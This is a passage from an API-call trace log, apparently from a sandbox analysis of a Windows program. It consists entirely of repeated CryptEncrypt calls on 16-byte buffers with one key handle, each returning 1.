pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.328] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.328] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.328] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.328] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.328] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.328] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.328] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.328] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.331] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.331] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.331] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.332] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.332] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.332] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.332] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.332] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.332] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.332] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.332] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.332] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.332] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.332] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.332] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.332] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.332] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.332] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.332] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.332] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.332] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.332] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.332] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.332] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.332] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.332] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.333] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.333] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.333] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.333] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.333] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.333] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.333] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.333] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.333] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.333] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.333] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.333] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.333] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.333] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.333] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.333] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.333] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.333] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.333] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.333] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.333] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.333] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.334] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.334] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.334] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.334] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.334] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.334] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.334] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.334] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.334] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.334] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.334] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.334] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.334] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.334] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.334] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.334] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.334] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.334] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.334] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.334] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.334] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.334] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.334] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.335] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.335] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.335] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.335] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.335] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.335] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.335] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.335] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.335] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.335] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.335] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.335] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.335] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.335] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.335] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.335] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.335] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.335] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.335] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.335] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.335] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.335] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.336] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.336] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.336] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.336] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.336] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.336] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.336] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: 